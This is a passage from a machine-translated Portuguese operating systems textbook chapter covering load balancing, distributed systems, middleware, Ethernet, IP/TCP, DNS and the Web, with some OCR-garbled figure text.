Figura 8.25(b). Com este algoritmo, sempre que um processo termina, o sistema verifica 
para ver se tem trabalho suficiente. Caso contrário, ele escolhe alguma máquina aleatoriamente e pergunta 
para trabalho. Se essa máquina não tiver nada a oferecer, uma segunda e depois uma terceira máquina 
é perguntado. Se nenhum trabalho for encontrado com N testes, o nó para temporariamente de perguntar, 
executa qualquer trabalho que esteja na fila e tenta novamente quando o próximo processo terminar. Se 
nenhum trabalho está disponível, a máquina fica ociosa. Após algum intervalo de tempo fixo, 
começa a sondar novamente. É melhor fazer com que o servidor ocioso faça o trabalho de investigação. 
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Uma vantagem deste algoritmo é que ele não coloca carga extra no sistema 

em momentos críticos. O algoritmo iniciado pelo remetente faz um grande número de testes 

precisamente quando o sistema menos pode tolerá-lo — quando está muito carregado. Com o 

algoritmo iniciado pelo receptor, quando o sistema está muito carregado, a chance de um 

a máquina com trabalho insuficiente é pequena. Contudo, quando isso acontecer, será 

será fácil encontrar trabalho para assumir. É claro que, quando há pouco trabalho a fazer, o 

O algoritmo iniciado pelo receptor cria um tráfego de investigação considerável enquanto todas as máquinas 

desempregadas procuram desesperadamente por trabalho. No entanto, é muito melhor ter o 

a sobrecarga aumenta quando o sistema está subcarregado do que quando está sobrecarregado. 
Também é possível combinar esses dois algoritmos e fazer com que as máquinas tentem 

livrar-se do trabalho quando têm muito e tentar adquirir trabalho quando têm 

não tenho o suficiente. Além disso, as máquinas talvez possam melhorar a pesquisa aleatória 

mantendo um histórico de investigações anteriores para determinar se alguma máquina está cronicamente 

subcarregado ou sobrecarregado. Uma delas pode ser tentada primeiro, dependendo se 

o iniciador está tentando se livrar do trabalho ou adquiri-lo. 


8.3 SISTEMAS DISTRIBUÍDOS 


Tendo concluído nosso estudo sobre multicores, multiprocessadores e multicomputadores, estamos 
prontos para nos voltarmos para o último tipo de sistema de múltiplos processadores, 
o sistema distribuído. Esses sistemas são semelhantes aos multicomputadores, pois cada 
O nó possui sua própria memória privada, sem memória física compartilhada no sistema. 
Contudo, os sistemas distribuídos são ainda mais fracamente acoplados do que os multicomputadores. 


Para começar, cada nó de um multicomputador geralmente possui uma CPU, RAM, uma interface de 
rede e possivelmente um disco para paginação. Em contraste, cada nó em um sistema distribuído é um 
computador completo, com um conjunto completo de periféricos. Próximo, 
os nós de um multicomputador normalmente estão em uma única sala, de modo que podem se comunicar 
por meio de uma rede dedicada de alta velocidade, enquanto os nós de um sistema distribuído 
podem estar espalhados pelo mundo. Finalmente, todos os nós de um multicomputador executam o 
mesmo sistema operacional, compartilham um único sistema de arquivos e estão sob uma administração 
comum, enquanto os nós de um sistema distribuído podem executar cada um um sistema operacional 
diferente, cada um dos quais tem seu próprio sistema de arquivos e estar sob uma administração 
diferente. . Um exemplo típico de multicomputador são 1.024 nós em uma única sala 
em uma empresa ou universidade trabalhando, digamos, em modelagem farmacêutica, enquanto um 
Um sistema distribuído típico consiste em milhares de máquinas cooperando livremente 
na internet. A Figura 8-26 compara multiprocessadores, multicomputadores e sistemas distribuídos nos 
pontos mencionados acima. 

Os multicomputadores estão claramente no meio, usando essas métricas. Um interessante 
A pergunta é: “Os multicomputadores são mais parecidos com multiprocessadores ou mais parecidos com 
sistemas distribuídos?” Curiosamente, a resposta depende fortemente da sua perspectiva. 

Do ponto de vista técnico, os multiprocessadores têm memória compartilhada e os outros 
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Item Multiprocessador Sistema Distribuído Multicomputador 

Configuração do nó CPU CPU, RAM, interface de rede Computador completo 
Periféricos de nó Todosçompartltiados Compartilhado ex. talvez conjunto completo de disco por nó 
Localização Mesmo rack [ Mesma sala Possivelmente em todo o mundo 
Comunicação entre nós RAM compartilhada Interconexão dedicada Rede tradicional 
Sistemas operacionais Um, compartilhado Múltiplo, mesmo Possivelmente todos diferentes 
Sistemas de arquivos Um, compartilhado Um, compartilhado Cada nó possui seu próprio 
Administração Uma organização Uma organização Muitas organizações 


Figura 8-26. Comparação de três tipos de sistemas com múltiplas CPUs. 


dois não. Esta diferença leva a diferentes modelos de programação e diferentes 
mentalidades. No entanto, do ponto de vista das aplicações, multiprocessadores e multicomputadores são 
apenas grandes racks de equipamentos em uma sala de máquinas. Ambos são usados para resolver 
problemas computacionalmente intensivos, enquanto um sistema distribuído conectando 
computadores em toda a Internet normalmente estão muito mais envolvidos na comunicação 
do que na computação e é usado de uma maneira diferente. 

Até certo ponto, o baixo acoplamento dos computadores em um sistema distribuído é ao mesmo tempo 
uma força e uma fraqueza. É um ponto forte porque os computadores podem ser usados para um 
grande variedade de aplicações, mas também é um ponto fraco, porque programar essas 
aplicações é difícil devido à falta de qualquer modelo subjacente comum. 

As aplicações típicas da Internet incluem acesso a computadores remotos (usando telnet, 
ssh e rlogin), acesso a informações remotas (usando a World Wide Web e 
FTP, o protocolo de transferência de arquivos), comunicação pessoa a pessoa (usando e-mail e 
programas de bate-papo) e muitas aplicações emergentes (por exemplo, comércio eletrônico, telemedicina, 
e ensino a distância). O problema com todos esses aplicativos é que cada um tem 
para reinventar a roda. Por exemplo, e-mail, FTP e a World Wide Web basicamente movem arquivos do 
ponto A para o ponto B, mas cada um tem sua própria maneira de fazer isso. 
completo com suas próprias convenções de nomenclatura, protocolos de transferência, técnicas de 
replicação e tudo mais. Embora muitos navegadores da Web escondam essas diferenças 
para o usuário médio, os mecanismos subjacentes são completamente diferentes. Escondido 
colocá-los no nível da interface do usuário é como ter uma pessoa em um agente de viagens com serviço completo 
Site reserva uma viagem para você de Nova York a São Francisco, e só depois avisa 
você se ela comprou uma passagem de avião, trem ou ônibus. 

O que os sistemas distribuídos acrescentam à rede subjacente é algum paradigma (modelo) comum 
que fornece uma maneira uniforme de observar todo o sistema. O 
A intenção do sistema distribuído é transformar um conjunto de máquinas fracamente conectadas 
num sistema coerente baseado num conceito. Às vezes o paradigma é simples 
e às vezes é mais elaborado, mas a ideia é sempre fornecer algo 
que unifica o sistema. 

Um exemplo simples de paradigma unificador em um contexto diferente é encontrado em 
UNIX, onde todos os dispositivos de E/S são feitos para se parecerem com arquivos. Ter teclados, mouses, 
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impressoras e linhas seriais operavam todas da mesma maneira, com as mesmas primitivas, 
torna mais fácil lidar com eles do que tê-los todos conceitualmente diferentes. 

Um método pelo qual um sistema distribuído pode alcançar alguma medida de uniformidade em face de 
diferentes hardwares e sistemas operacionais subjacentes é 
ter uma camada de software sobre o sistema operacional. A camada, chamada de produto intermediário, é 
ilustrada na Figura 8.27. Esta camada fornece certas estruturas de dados e 
operações que permitem que processos e usuários em máquinas distantes interoperem em um 


maneira consistente. 


Base comum para aplicações 


Aplicativo Aplicativo Aplicativo Aplicativo 
Middleware Middleware Middleware Middleware 


Intel x86 Intel x86 SPARC 


Figura 8-27. Posicionamento de middleware em um sistema distribuído. 


De certa forma, o middleware é como o sistema operacional de um sistema distribuído. 
É por isso que está sendo discutido em um livro sobre sistemas operacionais. No outro 
Por outro lado, não é realmente um sistema operacional, então a discussão não entrará em muitos detalhes 
detalhe. Para um tratamento abrangente e extenso de sistemas distribuídos, consulte Sistemas Distribuídos 
(Van Steen e Tanenbaum, 2017). No restante deste capítulo, veremos rapidamente o hardware usado em um 
sistema distribuído (isto é, o 
rede de computadores subjacente), depois seu software de comunicação (os protocolos de rede). Depois disso, 
consideraremos uma variedade de paradigmas usados nesses sistemas. 


8.3.1 Hardware de Rede 


Os sistemas distribuídos são construídos sobre redes de computadores, portanto, é necessária uma breve 
introdução ao assunto. As redes vêm em duas variedades principais, LANs (Local 
Area Networks), que cobrem um edifício ou campus, e WANs (Wide Area Networks). 
Redes), que podem ser em toda a cidade, em todo o país ou em todo o mundo. O tipo mais importante de LAN 
é a Ethernet, portanto examinaremos isso como um exemplo de LAN. Como nosso 
exemplo WAN, olharemos para a Internet, embora tecnicamente a Internet seja 
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não uma rede, mas uma federação de milhares de redes separadas. Entretanto, para nossos 
propósitos, é suficiente pensar nela como uma WAN. 


Ethernet 


A Ethernet clássica, descrita no padrão IEEE 802.3, consiste em um cabo coaxial ao qual 
vários computadores estão conectados. O cabo é chamado de Ethernet, em referência ao 
éter luminífero através do qual se pensava que a radiação eletromagnética se propagava. 
(Quando o físico britânico do século XIX, James Clerk Maxwell, descobriu que a radiação 
electromagnética podia ser descrita por uma equação de onda, os cientistas presumiram que 
o espaço devia ser preenchido com algum meio etéreo no qual a radiação se propagava. Só 
depois da famosa experiência de Michelson-Morley em 1887, que não conseguiu detectar o 
éter, os físicos perceberam que a radiação poderia se propagar no vácuo.) 


Na primeira versão da Ethernet, um computador era conectado ao cabo literalmente 
fazendo um furo no meio do cabo e aparafusando um fio que levava ao computador. Isso foi 
chamado de torneira de vampiro e é ilustrado simbolicamente na Figura 8.28(a). As torneiras 
eram difíceis de acertar, então em pouco tempo foram usados conectores adequados. No 
entanto, eletricamente, todos os computadores estavam conectados como se os cabos das 
placas de interface de rede estivessem soldados entre si. 


Computador Em 
Computador 
N 


A Ea Ethernet —> 


Torneira de vampiro Ethernet 


(a) (b) 


Figura 8-28. (a) Ethernet clássica. (b) Ethernet comutada. 


Com muitos computadores conectados ao mesmo cabo, é necessário um protocolo para 
evitar o caos. Para enviar um pacote em Ethernet, um computador primeiro escuta o cabo 
para ver se algum outro computador está transmitindo no momento. Caso contrário, ele 
apenas começa a transmitir um pacote, que consiste em um cabeçalho curto seguido por uma 
carga útil de O a 1.500 bytes. Se o cabo estiver em uso, o computador simplesmente espera 
até que a transmissão atual termine e então começa a enviar. 

Se dois computadores começarem a transmitir simultaneamente, ocorre uma colisão, que 
ambos detectam. Ambos respondem encerrando suas transmissões, aguardando um período 
aleatório entre 0 e T segundos e então começando novamente. Se ocorrer outra colisão, todos 
os computadores colidindo aleatoriamente a espera no intervalo de O a 
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2T seg e tente novamente. A cada colisão adicional, o intervalo máximo de espera é duplicado, 
reduzindo a chance de mais colisões. Este algoritmo é conhecido como backoff exponencial 
binário. Vimos isso anteriormente para reduzir a sobrecarga de pesquisa em bloqueios. 


Uma Ethernet possui um comprimento máximo de cabo e também um número máximo de 
computadores que podem ser conectados a ela. Para exceder qualquer um desses limites, um 
grande edifício ou campus pode ser conectado com múltiplas Ethernets, que são então 


conectadas por dispositivos chamados pontes. Uma ponte é um dispositivo que permite que o 
tráfego passe de uma Ethernet para outra quando a origem está de um lado e o destino está do 


outro. 


Para evitar o problema de colisões, as Ethernet modernas utilizam switches, como mostrado 
na Figura 8.28(b). Cada switch possui um certo número de portas, às quais pode ser conectado 
um computador, uma Ethernet ou outro switch. Quando um pacote evita com sucesso todas as 
colisões e chega ao switch, ele é armazenado em buffer lá e enviado na porta onde reside a 
máquina de destino. Ao atribuir a cada computador a sua própria porta, todas as colisões podem 
ser eliminadas, à custa de switches maiores. Também são possíveis compromissos, com apenas 
alguns computadores por porta. Na Figura 8.28(b), uma Ethernet clássica com vários 
computadores conectados a um cabo por derivações vampiro está conectada a uma das portas 
do switch. 


A Internet 


A Internet evoluiu a partir da ARPANET, uma rede experimental de comutação de pacotes 
financiada pela Agência de Projetos de Pesquisa Avançada do Departamento de Defesa dos EUA. 
Foi lançado em dezembro de 1969 com três computadores na Califórnia e um em Utah. 

Ela foi projetada no auge da Guerra Fria para ser uma rede altamente tolerante a falhas que 
continuaria a retransmitir o tráfego militar mesmo no caso de ataques nucleares diretos em 
múltiplas partes da rede, redirecionando automaticamente o tráfego em torno das máquinas 
mortas. 

A ARPANET cresceu rapidamente na década de 1970, abrangendo eventualmente centenas 
de computadores. Depois, uma rede de pacotes de rádio, uma rede de satélite e, eventualmente, 
milhares de Ethernets foram anexadas a ela, levando à federação de redes que hoje conhecemos 
como Internet. 

A Internet consiste em dois tipos de computadores, hosts e roteadores. Hosts são PCs, 
notebooks, smartphones, tablets, relógios inteligentes, servidores, mainframes e outros 
computadores de propriedade de pessoas físicas ou jurídicas que desejam se conectar à Internet. 
Roteadores são computadores de comutação especializados que aceitam pacotes recebidos 
em uma das muitas linhas de entrada e os enviam ao longo de uma das muitas linhas de saída. 
Um roteador é semelhante ao switch da Figura 8.28(b), mas também difere dele em aspectos 
que não nos interessarão aqui. Os roteadores são conectados entre si em grandes redes, e cada 
roteador possui fios ou fibras para muitos outros roteadores e hosts. Grandes redes de roteadores 
nacionais ou mundiais são operadas por companhias telefônicas e ISPs (provedores de serviços 
de Internet) para seus clientes. 
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A Figura 8-29 mostra uma parte da Internet. No topo temos um dos backbones, normalmente 
operado por uma operadora de backbone. Consiste em uma série de roteadores conectados por fibra 
óptica de alta largura de banda, com conexões a backbones operados por outras companhias 
telefônicas (concorrentes). Normalmente, nenhum host se conecta diretamente ao backbone, exceto 
máquinas de manutenção e teste operadas pela companhia telefônica. 


Espinha d | 
” spinha dorsal Fibra de alta largura de banda 


Rede regional 


=. Fibra de 
largura de AT 


Roteador no ISP 
banda média 


pa Linha ADSL 


para PC doméstico 


Fibra ou 


fio de cobre Nik 


Roteador local —p 


Roteador 


Computador doméstico 


= Hospedar 


Sg 


Ethernet 


Figura 8-29. Uma parte da Internet. 


Conectadas aos roteadores de backbone por conexões de fibra óptica de média velocidade 
estão redes regionais e roteadores em ISPs. Por sua vez, cada Ethernet corporativa possui um 
roteador e estes estão conectados a roteadores de rede regionais. Os roteadores dos ISPs estão 
conectados a bancos de modem usados pelos clientes do ISP. Dessa forma, cada host na Internet 
tem pelo menos um caminho, e muitas vezes muitos caminhos, para todos os outros hosts. 


Todo o tráfego da Internet é enviado na forma de pacotes. Cada pacote carrega seu endereço 
de destino dentro dele, e esse endereço é usado para roteamento. Quando um pacote chega a um 
roteador, o roteador extrai o endereço de destino e o procura (parte dele) em uma tabela para 
descobrir em qual linha de saída o pacote será enviado e, portanto, para qual roteador. Este 
procedimento é repetido até que o pacote chegue ao host de destino. 

As tabelas de roteamento são altamente dinâmicas e são atualizadas continuamente à medida que 
roteadores e links ficam inativos e voltam a funcionar e conforme as condições de tráfego mudam. 
Os algoritmos de roteamento têm sido intensamente estudados e modificados ao longo dos anos. 
Não há dúvida de que continuarão a ser estudados e modificados também nos próximos anos. 
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8.3.2 Serviços e Protocolos de Rede 


Todas as redes de computadores fornecem determinados serviços aos seus usuários (hosts e 
processos), que eles implementam usando certas regras sobre trocas legais de mensagens. 
A seguir daremos uma breve introdução a esses tópicos. 


Serviços de rede 


As redes de computadores fornecem serviços aos hosts e aos processos que as utilizam. 
O serviço orientado à conexão é modelado a partir do sistema telefônico. Para falar com 
alguém, você pega o telefone, disca o número, fala e depois desliga. Da mesma forma, para usar um serviço 
de rede orientado à conexão, o usuário do serviço primeiro estabelece 
uma conexão, usa a conexão e, em seguida, libera a conexão. O essencial 
O aspecto de uma conexão é que ela age como um tubo: o remetente empurra objetos (bits) para dentro 
em uma extremidade e o receptor os retira na mesma ordem na outra extremidade. 

Em contraste, o serviço sem conexão segue o modelo do sistema postal. Cada 
mensagem (carta) carrega o endereço de destino completo, e cada uma é roteada através 
o sistema independente de todos os outros. Normalmente, quando duas mensagens são enviadas para 
mesmo destino, o primeiro enviado será o primeiro a chegar. Contudo, é 
possível que o primeiro enviado seja atrasado para que o segundo chegue primeiro. 

Com um serviço orientado à conexão isso é impossível. 

Cada serviço pode ser caracterizado por uma qualidade de serviço. Alguns serviços são 
confiáveis no sentido de que nunca perdem dados. Geralmente, um serviço confiável é implementado 
fazendo com que o destinatário confirme o recebimento de cada mensagem enviando 
devolver um pacote de confirmação especial para que o remetente tenha certeza de que ele chegou. O 
processo de confirmação introduz sobrecarga e atrasos, que são necessários para 
detectar perda de pacotes, mas que tornam as coisas mais lentas. 

Uma situação típica em que um serviço confiável orientado a conexões é apropriado é a transferência 
de arquivos. O proprietário do arquivo quer ter certeza de que todos os bits chegam corretamente e na 
mesma ordem em que foram enviados. Muito poucos clientes de transferência de arquivos 
prefira um serviço que ocasionalmente embaralhe ou perca alguns bits, mesmo que seja muito 
mais rápido. 

O serviço confiável orientado à conexão tem duas variantes relativamente menores: sequências de 
mensagens e fluxos de bytes. No primeiro caso, os limites da mensagem são preservados. Quando duas 
mensagens de 1 KB são enviadas, elas chegam como duas mensagens distintas de 1 KB, nunca como uma 
mensagem de 2 KB. Neste último, a conexão é simplesmente um fluxo 
de bytes, sem limites de mensagem. Quando 2K bytes chegam ao receptor, há 
não há como saber se elas foram enviadas como uma mensagem de 2 KB, duas mensagens de 1 KB, 2048 
Mensagens de 1 byte ou outra coisa. Se as páginas de um livro forem enviadas através de uma rede 
enviadas a um fotocompositor como mensagens separadas, pode ser importante preservar os limites da 
mensagem. Por outro lado, com um terminal fazendo login em um servidor remoto 
sistema, um fluxo de bytes do terminal para o computador é tudo o que é necessário. Lá 
não há limites de mensagem aqui. 
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Para algumas aplicações, os atrasos introduzidos pelas confirmações são inaceitáveis. 
Uma dessas aplicações é o tráfego de voz digitalizado. É preferível que os usuários de telefone 
ouçam um pouco de ruído na linha ou uma palavra distorcida de vez em quando do que 
introduzir um atraso para esperar por confirmações. 

Nem todos os aplicativos requerem conexões. Por exemplo, para testar a rede, basta uma 
forma de enviar um único pacote que tenha alta probabilidade de chegada, mas sem garantia. 
O serviço sem conexão não confiável (ou seja, não reconhecido) é frequentemente chamado 
de serviço de datagrama, em analogia ao serviço de telegrama, que também não fornece uma 
confirmação ao remetente. 

Em outras situações, a conveniência de não ter que estabelecer uma conexão para enviar 
uma mensagem curta é desejada, mas a confiabilidade é essencial. O serviço de datagrama 
reconhecido pode ser fornecido para essas aplicações. É como enviar uma carta registrada e 
solicitar aviso de recebimento. Quando o recibo volta, o remetente tem absoluta certeza de 
que a carta foi entregue ao destinatário e não se perdeu no caminho. 


Ainda outro serviço é o serviço de solicitação-resposta. Neste serviço, o remetente 
transmite um único datagrama contendo uma solicitação; a resposta contém a resposta. Por 
exemplo, uma consulta à biblioteca local perguntando onde o uigur é falado se enquadra nesta 
categoria. A resposta de solicitação é comumente usada para implementar a comunicação no 
modelo cliente-servidor: o cliente emite uma solicitação e o servidor responde a ela. A Figura 
8-30 resume os tipos de serviços que discutimos. 


ii [O remo — ëăëOef| 
Fluxo de mensagens confiável Sequência de páginas de um livro 
nexão orien A p 
Conexao orientada Fluxo de bytes confiável Login remoto 
Conexão não confiável Voz digitalizada 
Datagrama não confiável Pacotes de teste de rede 
Sem conexão Datagrama reconhecido E-mail registrado 


Figura 8-30. Seis tipos diferentes de serviço de rede. 


Protocolos de rede 


Todas as redes têm regras altamente especializadas sobre quais mensagens podem ser 
enviadas e quais respostas podem ser retornadas em resposta a essas mensagens. Por 
exemplo, sob certas circunstâncias (por exemplo, transferência de arquivos), quando uma 
mensagem é enviada de uma origem para um destino, o destino é obrigado a enviar uma 
confirmação indicando o recebimento correto da mensagem. Em outras circunstâncias (por 
exemplo, telefonia digital), tal reconhecimento não é esperado. O conjunto de regras pelas quais determinados 
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computadores se comunicam é chamado de protocolo. Existem muitos protocolos, incluindo 
protocolos roteador-roteador, protocolos host-host e outros. Para um tratamento completo 
redes de computadores e seus protocolos, consulte Redes de Computadores, 6/e (Tanenbaum 
e outros, 2020). 

Todas as redes modernas usam o que é chamado de pilha de protocolos para colocar diferentes 
protocolos em camadas uns sobre os outros. Em cada camada, diferentes questões são tratadas. Para 
Por exemplo, no nível inferior, os protocolos definem como saber onde no fluxo de bits um 
pacote começa e termina. Em um nível superior, os protocolos tratam de como rotear pacotes 
através de redes complexas da origem ao destino. E num nível ainda mais alto, 
eles garantem que todos os pacotes em uma mensagem multipacket chegaram corretamente 
e na ordem correta. 

Como a maioria dos sistemas distribuídos utiliza a Internet como base, os principais protocolos 
esses sistemas usam os dois principais protocolos da Internet: IP e TCP. IP (Internet 
Protocolo) é um protocolo de datagrama no qual um remetente injeta um datagrama de até 64 
KB na rede e espera que chegue. Nenhuma garantia é dada. O datagrama pode ser fragmentado em 
pacotes menores à medida que passa pela Internet. 

Esses pacotes viajam de forma independente, possivelmente por rotas diferentes. Quando todos os 
as peças chegam ao destino, são montadas na ordem correta e entregues. 

Duas versões do IP estão atualmente em uso, v4 e v6. No momento, v4 ainda 
domina, então descreveremos isso aqui, mas a v6 está chegando. Cada pacote v4 
começa com um cabeçalho de 40 bytes que contém um endereço de origem de 32 bits e um endereço de 
destino de 32 bits, entre outros campos. Eles são cnamados de endereços IP e formam o 
base do roteamento da Internet. Eles são convencionalmente escritos como quatro números decimais 
no intervalo de 0 a 255 separados por pontos, como em 192.31.231.65. Quando um pacote chega 
em um roteador, o roteador extrai o endereço IP de destino e o usa para roteamento. 

Como os datagramas IP não são reconhecidos, o IP por si só não é suficiente para 
comunicação na Internet. Para fornecer comunicação confiável, outro protocolo, o TCP (Protocolo de 
Controle de Transmissão), geralmente é colocado em camadas sobre o IP. TCP 
usa IP para fornecer fluxos orientados a conexão. Para usar o TCP, um processo primeiro estabelece uma 
conexão com um processo remoto. O processo necessário é especificado pelo IP 
endereço de uma máquina e um número de porta nessa máquina, que os processos interessados em 
receber conexões de entrada escutam. Feito isso, basta 
bombeia bytes na conexão e é garantido que eles saiam do outro lado 
sem danos e na ordem correta. A implementação do TCP alcança essa garantia usando números de 
sequência, somas de verificação e retransmissões de dados incorretos. 

Pacotes recebidos. Tudo isso é transparente para os processos de envio e recebimento. 
Eles apenas veem comunicação confiável entre processos, assim como um canal UNIX. 

Para ver como todos esses protocolos interagem, considere o caso mais simples de um protocolo muito 
mensagem pequena que não precisa ser fragmentada em nenhum nível. O anfitrião está em um 
Ethernet conectada à Internet. O que acontece exatamente? O processo do usuário gera a mensagem e 
faz uma chamada de sistema para enviá-la em um horário previamente estabelecido. 

Conexão TCP. A pilha de protocolos do kernel adiciona um cabeçalho TCP e depois um IP 
cabeçalho para a frente. da mensagem. Em seguida, ele vai para o driver Ethernet, que adiciona 
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um cabeçalho Ethernet direcionando o pacote para o roteador na Ethernet. Esse roteador então 
injeta o pacote na Internet, conforme ilustrado na Figura 8.31. 
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Figura 8-31. Acumulação de cabeçalhos de pacotes. 


Para estabelecer uma conexão com um host remoto (ou mesmo para enviar-lhe um 
datagrama), é necessário conhecer seu endereço IP. Como o gerenciamento de listas de 
endereços IP de 32 bits é inconveniente para as pessoas, um esquema chamado DNS (Domain 
Name System) foi inventado como um banco de dados que mapeia nomes ASCII de hosts em seus endereços IP. 
Assim é possível usar o nome DNS star.cs.vu.nl em vez do endereço IP correspondente 
130.37.24.6. Os nomes DNS são comumente conhecidos porque os endereços de e-mail da 
Internet têm o formato nome de usuárioOnome do host DNS. Esse sistema de nomenclatura 
permite que o programa de correio no host remetente procure o endereço IP do host de destino 
no banco de dados DNS, estabeleça uma conexão TCP com o processo daemon de correio e 
envie a mensagem como um arquivo. O nome de usuário é enviado para identificar em qual caixa 
de correio colocar a mensagem. 


8.3.3 Middleware Baseado em Documentos 


Agora que temos alguma experiência em redes e protocolos, podemos começar a examinar 
diferentes camadas de middleware que podem se sobrepor à rede básica para produzir um 
paradigma consistente para aplicações e usuários. Começaremos com um exemplo simples, mas 
bem conhecido: a World Wide Web. A Web foi inventada por Tim Berners-Lee no CERN, o Centro 
Europeu de Pesquisa em Física Nuclear, em 1989 e desde então se espalhou como um incêndio 
por todo o mundo. 

O paradigma original por trás da Web era bastante simples: cada computador pode conter 
um ou mais documentos, chamados páginas Web. Cada página da Web contém texto, imagens, 
ícones, sons, filmes e similares, bem como hiperlinks (ponteiros) para outras páginas da Web. 
Quando um usuário solicita uma página da Web usando um programa chamado navegador da 
Web, a página é exibida na tela. Clicar em um link faz com que a página atual seja substituída na 
tela pela página apontada. Embora muitos sinos e 
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assobios foram recentemente enxertados na Web, o paradigma subjacente ainda está claramente 
presente: a Web é um grande gráfico direcionado de documentos que pode apontar para outros 
documentos, como mostrado na Figura 8.32. 


Figura 8-32. A Web é um grande gráfico direcionado de documentos. 


Cada página da Web possui um endereço exclusivo, chamado URL (Uniform Resource Loca 
tor), no formato protocolo://nome-DNS/nome-do-arquivo. O protocolo é mais comumente http 
(HyperText Transfer Protocol) e seu primo seguro https, mas ftp e outros também existem. Depois vem 
o nome DNS do host que contém o arquivo. Finalmente, há um nome de arquivo local informando qual 
arquivo é necessário. Assim, uma URL especifica exclusivamente um único arquivo em todo o mundo. 
A maneira como todo o 

sistema funciona é a seguinte. A Web é fundamentalmente um sistema cliente-servidor, sendo o 
usuário o cliente e o site o servidor. Quando o usuário fornece ao navegador uma URL, digitando-a ou 
clicando em um hiperlink na página atual, o navegador executa determinadas etapas para buscar a 
página da Web solicitada. Como exemplo simples, suponha que o URL fornecido seja http:// 
www.minix3.org/getting-started/ index.html. O navegador então executa as seguintes etapas para obter 
a página. 


1. O navegador solicita ao DNS o endereço IP de www.minixS.org. 

2. O DNS responde com 66.147.238.215. 

3. O navegador faz uma conexão TCP com a porta 80 em 66.147.238.215. 

4. Em seguida, ele envia uma solicitação solicitando o arquivo getting-started/ index.html. 
5. O www.minix3.org servidor envia o arquivo Getting-Started/ index.html. 


6. O navegador exibe todo o texto em Getiting-Started/ index.html. 


N 


. Enquanto isso, o navegador busca e exibe todas as imagens da página. 


8. A conexão TOP é liberada. 


Machine Translated by Google 


590 SISTEMAS DE MÚLTIPLOS PROCESSADORES INDIVÍDUO. 8 


Numa primeira aproximação, esta é a base da Web e como ela funciona. Desde então, 
muitos outros recursos foram adicionados à Web básica, incluindo folhas de estilo, páginas Web 
dinâmicas que são geradas dinamicamente, páginas Web que contêm pequenos programas ou 
scripts que são executados na máquina cliente e muito mais, mas estão fora do escopo. escopo 
desta discussão. 


8.3.4 Middleware baseado em sistema de arquivos 


A ideia básica por trás da Web é fazer com que um sistema distribuído pareça uma coleção 
gigante de documentos com hiperlinks. Uma segunda abordagem é fazer com que um sistema 
distribuído pareça um grande sistema de arquivos. Nesta seção, veremos algumas das questões 
envolvidas no projeto de um sistema de arquivos mundial. 

Usar um modelo de sistema de arquivos para um sistema distribuído significa que existe 
um único sistema de arquivos global, com usuários em todo o mundo capazes de ler e gravar 
arquivos para os quais possuem autorização. A comunicação é obtida fazendo com que um 
processo grave dados em um arquivo e outros os leiam de volta. Muitos dos problemas padrão 
do sistema de arquivos surgem aqui, mas também alguns novos relacionados à distribuição. 


Modelo de transferência 


A primeira questão é a escolha entre o modelo de upload/download e o modelo de 
acesso remoto. No primeiro caso, mostrado na Figura 8.33(a), um processo acessa um arquivo 
copiando-o primeiro do servidor remoto onde ele reside. Se o arquivo for apenas para ser lido, 
ele será lido localmente, para alto desempenho. Se o arquivo for gravado, ele será gravado 
localmente. Quando o processo é concluído, o arquivo atualizado é colocado de volta no 
servidor. Com o modelo de acesso remoto, o arquivo permanece no servidor e o cliente envia 
comandos para lá para realizar o trabalho, como mostrado na Figura 8.33(b). 


1. Cliente busca arquivo 


Cliente Servidor Arquivo antigo Cliente Servidor 
MININ d Novo arquivo Solicitar 
<> | m 
e 
Responder 
2. Os acessos são 3. Quando o cliente Arquivo permanece 
feitos no cliente termina, o no servidor 


arquivo é retornado ao servidor 
(a) (b) 


Figura 8-33. (a) O modelo de upload/download. (b) O modelo de acesso remoto. 


As vantagens do modelo upload/download são a sua simplicidade e o fato de que transferir 
arquivos inteiros de uma só vez é mais eficiente do que transferi-los em pequenos 
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peças. As desvantagens são que deve haver armazenamento suficiente para todo o arquivo 
localmente, mover o arquivo inteiro será um desperdício se apenas partes dele forem necessárias, e surgirão 


problemas de consistência se houver vários usuários simultâneos. 


A hierarquia de diretórios 


Os arquivos são apenas parte da história. A outra parte é o sistema de diretórios. Todos os sistemas de 
arquivos distribuídos suportam diretórios contendo vários arquivos. O próximo desenho 
O problema é se todos os clientes têm a mesma visão da hierarquia de diretórios. Como um 
Para exemplificar o que queremos dizer, considere a Figura 8.34. Na Figura 8.34(a), mostramos dois arquivos 
servidores, cada um contendo três diretórios e alguns arquivos. Na Figura 8.34(b), temos um 
sistema no qual todos os clientes (e outras máquinas) têm a mesma visão do sistema de arquivos distribuído. 
Se o caminho /D/E/x for válido em uma máquina, será válido em todas 
eles. 
Em contraste, na Figura 8.34(c), diferentes máquinas podem ter diferentes visões do 
sistema de arquivo. Para repetir o exemplo anterior, o caminho /D/E/x pode muito bem ser válido 
no cliente 1, mas não no cliente 2. Em sistemas que gerenciam vários servidores de arquivos por 
montagem remota, Figura 8.34(c) é a norma. É flexível e simples de implementar, mas tem a desvantagem de 
não fazer com que todo o sistema se comporte como um 
único e antiquado sistema de timeshare. Em um sistema de compartilhamento de tempo, o sistema de arquivos 
parece igual para qualquer processo, como no modelo da Figura 8.34(b). Está Propriedade 
torna um sistema mais fácil de programar e entender. 
Uma questão intimamente relacionada é se existe ou não um diretório raiz global, 
que todas as máquinas reconhecem como a raiz. Uma maneira de ter um diretório raiz global 
é fazer com que a raiz contenha uma entrada para cada servidor e nada mais. Sob estes 
circunstâncias, os caminhos assumem a forma /servidor/caminho, o que tem suas próprias desvantagens, 


mas pelo menos é o mesmo em todo o sistema. 


Transparência de nomenclatura 


O principal problema com esta forma de nomeação é que ela não é totalmente transparente. Duas 
formas de transparência são relevantes neste contexto e merecem ser distinguidas. O primeiro, transparência 
de localização, significa que o nome do caminho não fornece 
dica sobre onde o arquivo está localizado. Um caminho como /server1/dir1/dir2/x informa a todos 
que x está localizado no servidor 1, mas não informa onde esse servidor está localizado. O 
o servidor é livre para se mover para qualquer lugar que desejar na rede sem o nome do caminho 
tendo que ser mudado. Assim este sistema tem transparência de localização. 

No entanto, suponha que o arquivo x seja extremamente grande e o espaço no servidor 1 seja limitado. 
Além disso, suponha que haja espaço suficiente no servidor 2. O sistema pode 
gostaria de mover x para o servidor 2 automaticamente. Infelizmente, quando o primeiro componente de todos 


os nomes de caminho é o servidor, o sistema não pode mover o arquivo para o outro 
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Servidor de arquivos 1 Cliente 1 Cliente 1 


Servidor de arquivos 2 Cliente 2 Cliente 2 


Figura 8-34. (a) Dois servidores de arquivos. Os quadrados são diretórios e os círculos são 
